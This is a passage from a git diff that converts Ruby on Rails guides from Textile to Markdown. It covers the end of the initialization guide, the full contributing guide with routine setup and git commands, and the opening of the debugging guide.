Sets +ActionMailer::Base.logger+ -- if it's not already set -- to +Rails.logger+. - -*+action_mailer.set_configs+* Sets up Action Mailer by using the settings in +config.action_mailer+ by +send+'ing the method names as setters to +ActionMailer::Base+ and passing the values through. - -*+action_mailer.compile_config_methods+* Initializes methods for the config settings specified so that they are quicker to access. - -*+set_load_path+* This initializer runs before +bootstrap_hook+. Adds the +vendor+, +lib+, all directories of +app+ and any paths specified by +config.load_paths+ to +$LOAD_PATH+. - -*+set_autoload_paths+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+. - -*+add_routing_paths+* Loads (by default) all +config/routes.rb+ files (in the application and railties, including engines) and sets up the routes for the application. - -*+add_locales+* Adds the files in +config/locales+ (from the application, railties and engines) to +I18n.load_path+, making available the translations in these files. - -*+add_view_paths+* Adds the directory +app/views+ from the application, railties and engines to the lookup path for view files for the application. - -*+load_environment_config+* Loads the +config/environments+ file for the current environment. - -*+append_asset_paths+* Finds asset paths for the application and all attached railties and keeps a track of the available directories in +config.static_asset_paths+. - -*+prepend_helpers_path+* Adds the directory +app/helpers+ from the application, railties and engines to the lookup path for helpers for the application. - -*+load_config_initializers+* Loads all Ruby files from +config/initializers+ in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded. - -*+engines_blank_point+* Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run. - -*+add_generator_templates+* Finds templates for generators at +lib/templates+ for the application, railities and engines and adds these to the +config.generators.templates+ setting, which will make the templates available for all generators to reference. - -*+ensure_autoload_once_paths_as_subset+* Ensures that the +config.autoload_once_paths+ only contains paths from +config.autoload_paths+. If it contains extra paths, then an exception will be raised. - -*+add_to_prepare_blocks+* The block for every +config.to_prepare+ call in the application, a railtie or engine is added to the +to_prepare+ callbacks for Action Dispatch which will be ran per request in development, or before the first request in production. - -*+add_builtin_route+* If the application is running under the development environment then this will append the route for +rails/info/properties+ to the application routes. This route provides the detailed information such as Rails and Ruby version for +public/index.html+ in a default Rails application. - -*+build_middleware_stack+* Builds the middleware stack for the application, returning an object which has a +call+ method which takes a Rack environment object for the request. - -*+eager_load!+* If +config.eager_load+ is true, runs the +config.before_eager_load+ hooks and then calls +eager_load!+ which will load all +config.eager_load_namespaces+. - -*+finisher_hook+* Provides a hook for after the initialization of process of the application is complete, as well as running all the +config.after_initialize+ blocks for the application, railties and engines. - -*+set_routes_reloader+* Configures Action Dispatch to reload the routes file using +ActionDispatch::Callbacks.to_prepare+. - -*+disable_dependency_loading+* Disables the automatic dependency loading if the +config.eager_load+ is set to true. - -h3. Database pooling - -Active Record database connections are managed by +ActiveRecord::ConnectionAdapters::ConnectionPool+ which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in +database.yml+. - -<ruby> -development: - adapter: sqlite3 - database: db/development.sqlite3 - pool: 5 - timeout: 5000 -</ruby> - -Since the connection pooling is handled inside of ActiveRecord by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit. - -Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue. - -NOTE. If you have enabled +Rails.threadsafe!+ mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections. diff --git a/guides/source/contributing_to_ruby_on_rails.textile b/guides/source/contributing_to_ruby_on_rails.md index 427733fe03..20d8a4e9ae 100644 --- a/guides/source/contributing_to_ruby_on_rails.textile +++ b/guides/source/contributing_to_ruby_on_rails.md @@ -1,4 +1,5 @@ -h2. Contributing to Ruby on Rails +Contributing to Ruby on Rails +============================= This guide covers ways in which _you_ can become a part of the ongoing development of Ruby on Rails. After reading it, you should be familiar with: @@ -10,259 +11,263 @@ This guide covers ways in which _you_ can become a part of the ongoing developme Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation -- all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches. -endprologue. +-------------------------------------------------------------------------------- -h3. Reporting an Issue +Reporting an Issue +------------------ -Ruby on Rails uses "GitHub Issue Tracking":https://github.com/rails/rails/issues to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests. +Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests. NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide you'll find out how to get edge Rails for testing. -h4. Creating a Bug Report +### Creating a Bug Report -If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under "Issues":https://github.com/rails/rails/issues in case it was already reported. If you find no issue addressing it you can "add a new one":https://github.com/rails/rails/issues/new. (See the next section for reporting security issues.) +If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues in case it was already reported. If you find no issue addressing it you can [add a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues). At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself -- and others -- to replicate the bug and figure out a fix. Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment. -h4. Special Treatment for Security Issues +### Special Treatment for Security Issues -WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The "Rails security policy page":http://rubyonrails.org/security details the procedure to follow for security issues. +WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](http://rubyonrails.org/security) details the procedure to follow for security issues. -h4. What about Feature Requests? +### What about Feature Requests? Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed. -If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the "rails-core mailing list":https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core. You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require. +If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the [rails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require. -h3. Setting Up a Development Environment +Setting Up a Development Environment +------------------------------------ To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer. -h4. The Easy Way +### The Easy Way -The easiest way to get a development environment ready to hack is to use the "Rails development box":https://github.com/rails/rails-dev-box. +The easiest way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box). -h4. The Hard Way +### The Hard Way -h5. Install Git +#### Install Git -Ruby on Rails uses Git for source code control. The "Git homepage":http://git-scm.com/ has installation instructions. There are a variety of resources on the net that will help you get familiar with Git: +Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git: -* "Everyday Git":http://schacon.github.com/git/everyday.html will teach you just enough about Git to get by. -* The "PeepCode screencast":https://peepcode.com/products/git on Git ($9) is easier to follow. -* "GitHub":http://help.github.com offers links to a variety of Git resources. -* "Pro Git":http://git-scm.com/book is an entire book about Git with a Creative Commons license. +* [Everyday Git](http://schacon.github.com/git/everyday.html) will teach you just enough about Git to get by. +* The [PeepCode screencast](https://peepcode.com/products/git) on Git ($9) is easier to follow. +* [GitHub](http://help.github.com) offers links to a variety of Git resources. +* [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license. -h5. Clone the Ruby on Rails Repository +#### Clone the Ruby on Rails Repository -Navigate to the folder where you want the Ruby on Rails source code (it will create its own +rails+ subdirectory) and run: +Navigate to the folder where you want the Ruby on Rails source code (it will create its own `rails` subdirectory) and run: -<shell> +```bash $ git clone git://github.com/rails/rails.git $ cd rails -</shell> +``` -h5. Set up and Run the Tests +#### Set up and Run the Tests The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests. Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's -<shell> +```bash $ sudo apt-get install libxml2 libxml2-dev libxslt1-dev -</shell> +``` If you are on Fedora or CentOS, you can run -<shell> +```bash $ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel -</shell> +``` -If you have any problems with these libraries, you should install them manually compiling the source code. Just follow the instructions at the "Red Hat/CentOS section of the Nokogiri tutorials":http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos . +If you have any problems with these libraries, you should install them manually compiling the source code. Just follow the instructions at the [Red Hat/CentOS section of the Nokogiri tutorials](http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos) . -Also, SQLite3 and its development files for the +sqlite3-ruby+ gem -- in Ubuntu you're done with just +Also, SQLite3 and its development files for the `sqlite3-ruby` gem -- in Ubuntu you're done with just -<shell> +```bash $ sudo apt-get install sqlite3 libsqlite3-dev -</shell> +``` And if you are on Fedora or CentOS, you're done with -<shell> +```bash $ sudo yum install sqlite3 sqlite3-devel -</shell> +``` -Get a recent version of "Bundler":http://gembundler.com/: +Get a recent version of [Bundler](http://gembundler.com/:) -<shell> +```bash $ gem install bundler $ gem update bundler -</shell> +``` and run: -<shell> +```bash $ bundle install --without db -</shell> +``` This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. With dependencies installed, you can run the test suite with: -<shell> +```bash $ bundle exec rake test -</shell> +``` You can also run tests for a specific component, like Action Pack, by going into its directory and executing the same command: -<shell> +```bash $ cd actionpack $ bundle exec rake test -</shell> +``` -If you want to run the tests located in a specific directory use the +TEST_DIR+ environment variable. For example, this will run the tests of the +railties/test/generators+ directory only: +If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests of the `railties/test/generators` directory only: -<shell> +```bash $ cd railties $ TEST_DIR=generators bundle exec rake test -</shell> +``` You can run any single test separately too: -<shell> +```bash $ cd actionpack $ bundle exec ruby -Itest test/template/form_helper_test.rb -</shell> +``` -h5. Active Record Setup +#### Active Record Setup -The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (+mysql+ and +mysql2+), and once for PostgreSQL. We are going to see now how to set up the environment for them. +The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (`mysql` and `mysql2`), and once for PostgreSQL. We are going to see now how to set up the environment for them. WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. -h6. Database Configuration +##### Database Configuration -The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment. +The Active Record test suite requires a custom config file: `activerecord/test/config.yml`. An example is provided in `activerecord/test/config.example.yml` which can be copied and used as needed for your environment. -h6. MySQL and PostgreSQL +##### MySQL and PostgreSQL To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run -<shell> +```bash $ sudo apt-get install mysql-server libmysqlclient15-dev $ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev -</shell> +``` On Fedora or CentOS, just run: -<shell> +```bash $ sudo yum install mysql-server mysql-devel $ sudo yum install postgresql-server postgresql-devel -</shell> +``` After that run: -<shell> +```bash $ rm .bundle/config $ bundle install -</shell> +``` -We need first to delete +.bundle/config+ because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file). +We need first to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file). -In order to be able to run the test suite against MySQL you need to create a user named +rails+ with privileges on the test databases: +In order to be able to run the test suite against MySQL you need to create a user named `rails` with privileges on the test databases: -<shell> +```bash mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.* to 'rails'@'localhost'; mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.* to 'rails'@'localhost'; -</shell> +``` and create the test databases: -<shell> +```bash $ cd activerecord $ bundle exec rake mysql:build_databases -</shell> +``` PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account -<shell> +```bash $ sudo -u postgres createuser --superuser $USER -</shell> +``` and then create the test databases with -<shell> +```bash $ cd activerecord $ bundle exec rake postgresql:build_databases -</shell> +``` NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation. NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator". -If you’re using another database, check the file +activerecord/test/config.yml+ or +activerecord/test/config.example.yml+ for default connection information. You can edit +activerecord/test/config.yml+ to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails. +If you’re using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails. -h3. Testing Active Record +Testing Active Record +--------------------- This is how you run the Active Record test suite only for SQLite3: -<shell> +```bash $ cd activerecord $ bundle exec rake test_sqlite3 -</shell> +``` -You can now run the tests as you did for +sqlite3+. The tasks are respectively +You can now run the tests as you did for `sqlite3`. The tasks are respectively -<shell> +```bash test_mysql test_mysql2 test_postgresql -</shell> +``` Finally, -<shell> +```bash $ bundle exec rake test -</shell> +``` will now run the four of them in turn. You can also run any single test separately: -<shell> +```bash $ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb -</shell> +``` -You can invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql+ also. See the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/travis.rb+ for the test suite run by the continuous integration server. +You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server. -h4. Warnings +### Warnings The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings. As of this writing (December, 2010) they are specially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag: -<shell> +```bash $ RUBYOPT=-W0 bundle exec rake test -</shell> +``` -h4. Older Versions of Ruby on Rails +### Older Versions of Ruby on Rails If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch: -<shell> +```bash $ git branch --track 3-0-stable origin/3-0-stable $ git checkout 3-0-stable -</shell> +``` -TIP: You may want to "put your Git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with. +TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with. -h3. Helping to Resolve Existing Issues +Helping to Resolve Existing Issues +---------------------------------- -As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "Everyone's Issues":https://github.com/rails/rails/issues list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually: +As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the [Everyone's Issues](https://github.com/rails/rails/issues) list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually: -h4. Verifying Bug Reports +### Verifying Bug Reports For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing. @@ -272,20 +277,20 @@ If you find a bug report without a test, it's very useful to contribute a failin Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not. -h4. Testing Patches +### Testing Patches You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need first to create a dedicated branch: -<shell> +```bash $ git checkout -b testing_branch -</shell> +``` Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails. -<shell> +```bash $ git remote add JohnSmith git://github.com/JohnSmith/rails.git $ git pull JohnSmith orange -</shell> +``` After applying their branch, test it out! Here are some things to think about: @@ -302,17 +307,18 @@ I like the way you've restructured that code in generate_finder_sql -- much nice If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request. -h3. Contributing to the Rails Documentation +Contributing to the Rails Documentation +--------------------------------------- Ruby on Rails has two main sets of documentation: the guides help you in learning about Ruby on Rails, and the API is a reference. -You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides. +You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/lifo/docrails/translating-rails-guides). -If you're confident about your changes, you can push them directly yourself via "docrails":https://github.com/lifo/docrails. Docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but this happens after they are pushed. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. +If you're confident about your changes, you can push them directly yourself via [docrails](https://github.com/lifo/docrails). Docrails is a branch with an **open commit policy** and public write access. Commits to docrails are still reviewed, but this happens after they are pushed. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. -If you are unsure of the documentation changes, you can create an issue in the "Rails":https://github.com/rails/rails/issues issues tracker on GitHub. +If you are unsure of the documentation changes, you can create an issue in the [Rails](https://github.com/rails/rails/issues) issues tracker on GitHub. -When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html. +When working with documentation, please take into account the [API Documentation Guidelines](api_documentation_guidelines.html) and the [Ruby on Rails Guides Guidelines](ruby_on_rails_guides_guidelines.html). NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements. @@ -320,28 +326,29 @@ NOTE: To help our CI servers you can add [ci skip] to your documentation commit WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails. -h3. Contributing to the Rails Code +Contributing to the Rails Code +------------------------------ -h4. Clone the Rails Repository +### Clone the Rails Repository The first thing you need to do to be able to contribute code is to clone the repository: -<shell> +```bash $ git clone git://github.com/rails/rails.git -</shell> +``` and create a dedicated branch: -<shell> +```bash $ cd rails $ git checkout -b my_new_branch -</shell> +``` It doesn’t matter much what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails Git repository. -h4. Write Your Code +### Write Your Code -Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with +git branch -a+). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind: +Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with `git branch -a`). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind: * Get the code right. * Use Rails idioms and helpers. @@ -350,22 +357,22 @@ Now get busy and add or edit code. You’re on your branch now, so you can write TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted. -h4. Follow the Coding Conventions +### Follow the Coding Conventions Rails follows a simple set of coding style conventions. * Two spaces, no tabs (for indentation). * No trailing whitespace. Blank lines should not have any spaces. * Indent after private/protected. -* Prefer +&&+/+||+ over +and+/+or+. +* Prefer `&&`/`||` over `and`/`or`. * Prefer class << self over self.method for class methods. -* Use +MyClass.my_method(my_arg)+ not +my_method( my_arg )+ or +my_method my_arg+. +* Use `MyClass.my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`. * Use a = b and not a=b. * Follow the conventions in the source you see used already. The above are guidelines -- please use your best judgment in using them. -h4. Updating the CHANGELOG +### Updating the CHANGELOG The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version. @@ -373,7 +380,7 @@ You should add an entry to the CHANGELOG of the framework that you modified if y A CHANGELOG entry should summarize what was changed and should end with author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry: -<plain> +``` * Summary of a change that briefly describes what was changed. You can use multiple lines and wrap them at around 80 characters. Code examples are ok, too, if needed: @@ -386,29 +393,29 @@ A CHANGELOG entry should summarize what was changed and should end with author's You can continue after the code example and you can attach issue number. GH#1234 *Your Name* -</plain> +``` Your name can be added directly after the last word if you don't provide any code examples or don't need multiple paragraphs. Otherwise, it's best to make as a new paragraph. -h4. Sanity Check +### Sanity Check You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either. -You might want also to check out the "RailsBridge BugMash":http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash as a way to get involved in a group effort to improve Rails. This can help you get started and help you check your code when you're writing your first patches. +You might want also to check out the [RailsBridge BugMash](http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash) as a way to get involved in a group effort to improve Rails. This can help you get started and help you check your code when you're writing your first patches. -h4. Commit Your Changes +### Commit Your Changes When you're happy with the code on your computer, you need to commit the changes to Git: -<shell> +```bash $ git commit -a -</shell> +``` At this point, your editor should be fired up and you can write a message for this commit. Well formatted and descriptive commit messages are extremely helpful for the others, especially when figuring out why given change was made, so please take the time to write it. Good commit message should be formatted according to the following example: -<plain> +``` Short summary (ideally 50 characters or less) More detailed description, if necessary. It should be wrapped to 72 @@ -432,81 +439,81 @@ You can also add bullet points: - also, try to indent next line of a point for readability, if it's too long to fit in 72 characters -</plain> +``` TIP. Please squash your commits into a single commit when appropriate. This simplifies future cherry picks, and also keeps the git log clean. -h4. Update Master +### Update Master It’s pretty likely that other changes to master have happened while you were working. Go get them: -<shell> +```bash $ git checkout master $ git pull --rebase -</shell> +``` Now reapply your patch on top of the latest changes: -<shell> +```bash $ git checkout my_new_branch $ git rebase master -</shell> +``` No conflicts? Tests still pass? Change still seems reasonable to you? Then move on. -h4. Fork +### Fork -Navigate to the Rails "GitHub repository":https://github.com/rails/rails and press "Fork" in the upper right hand corner. +Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and press "Fork" in the upper right hand corner. Add the new remote to your local repository on your local machine: -<shell> +```bash $ git remote add mine git@github.com:<your user name>/rails.git -</shell> +``` Push to your remote: -<shell> +```bash $ git push mine my_new_branch -</shell> +``` You might have cloned your forked repository into your machine and might want to add the original Rails repository as a remote instead, if that's the case here's what you have to do. In the directory you cloned your fork: -<shell> +```bash $ git remote add rails git://github.com/rails/rails.git -</shell> +``` Download new commits and branches from the official repository: -<shell> +```bash $ git fetch rails -</shell> +``` Merge the new content: -<shell> +```bash $ git checkout master $ git rebase rails/master -</shell> +``` Update your fork: -<shell> +```bash $ git push origin master -</shell> +``` If you want to update another branches: -<shell> +```bash $ git checkout branch_name $ git rebase rails/branch_name $ git push origin branch_name -</shell> +``` -h4. Issue a Pull Request +### Issue a Pull Request Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner. @@ -516,45 +523,46 @@ Ensure the changesets you introduced are included in the "Commits" tab. Ensure t Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission. -h4. Get some Feedback +### Get some Feedback -Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the "rubyonrails-core mailing list":http://groups.google.com/group/rubyonrails-core/ or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know. +Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the [rubyonrails-core mailing list](http://groups.google.com/group/rubyonrails-core/) or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know. -h4. Iterate as Necessary +### Iterate as Necessary It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a gem. -h4. Backporting +### Backporting Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort. -For simple fixes, the easiest way to backport your changes is to "extract a diff from your changes in master and apply them to the target branch":http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git. +For simple fixes, the easiest way to backport your changes is to [extract a diff from your changes in master and apply them to the target branch](http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git). First make sure your changes are the only difference between your current branch and master: -<shell> +```bash $ git log master..HEAD -</shell> +``` Then extract the diff: -<shell> +```bash $ git format-patch master --stdout > ~/my_changes.patch -</shell> +``` Switch over to the target branch and apply your changes: -<shell> +```bash $ git checkout -b my_backport_branch 3-2-stable $ git apply ~/my_changes.patch -</shell> +``` This works well for simple changes. However, if your changes are complicated or if the code in master has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort. -Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in +.travis.yml+ before submitting your pull request. +Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in `.travis.yml` before submitting your pull request. And then... think about your next contribution! -h3. Rails Contributors +Rails Contributors +------------------ -All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org. +All contributions, either via master or docrails, get credit in [Rails Contributors](http://contributors.rubyonrails.org). diff --git a/guides/source/debugging_rails_applications.textile b/guides/source/debugging_rails_applications.md index a5a22a8a8f..9f8a3d942c 100644 --- a/guides/source/debugging_rails_applications.textile +++ b/guides/source/debugging_rails_applications.md @@ -1,4 +1,5 @@ -h2. Debugging Rails Applications +Debugging Rails Applications +============================ This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to: @@ -7,31 +8,32 @@ This guide introduces techniques for debugging Ruby on Rails applications. By re * Learn the different ways of debugging * Analyze the stack trace -endprologue. +-------------------------------------------------------------------------------- -h3. View Helpers for Debugging +View Helpers for Debugging +-------------------------- One common task is to inspect the contents of a variable. In Rails, you can do this with three methods: -* +debug+ -* +to_yaml+ -* +inspect+ +* `debug` +* `to_yaml` +* `inspect` -h4. +debug+ +### `debug` -The +debug+ helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view: +The `debug` helper will return a \<pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view: -<html> +```html+erb <%= debug @post %> <p> <b>Title:</b> <%=h @post.title %> </p> -</html> +``` You'll see something like this: -<yaml> +```yaml --- !ruby/object:Post attributes: updated_at: 2008-09-05 22:55:47 @@ -44,25 +46,25 @@ attributes_cache: {} Title: Rails debugging guide -</yaml> +``` -h4. +to_yaml+ +### `to_yaml` Displaying an instance variable, or any other object or method, in YAML format can be achieved this way: -<html> +```html+erb <%= simple_format @post.to_yaml %> <p> <b>Title:</b> <%=h @post.title %> </p> -</html> +``` -The +to_yaml+ method converts the method to YAML format leaving it more readable, and then the +simple_format+ helper is used to render each line as in the console. This is how +debug+ method does its magic. +The `to_yaml` method converts the method to YAML format leaving it more readable, and then the `simple_format` helper is used to render each line as in the console. This is how `debug` method does its magic. As a result of this, you will have something like this in your view: -<yaml> +```yaml --- !ruby/object:Post attributes: updated_at: 2008-09-05 22:55:47 @@ -74,80 +76,81 @@ created_at: 2008-09-05 22:55:47 attributes_cache: {} Title: Rails debugging guide -</yaml> +``` -h4. +inspect+ +### `inspect` -Another useful method for displaying object values is +inspect+, especially when working with arrays or hashes. This will print the object value as a string. For example: +Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example: -<html> +```html+erb <%= [1, 2, 3, 4, 5].inspect %> <p> 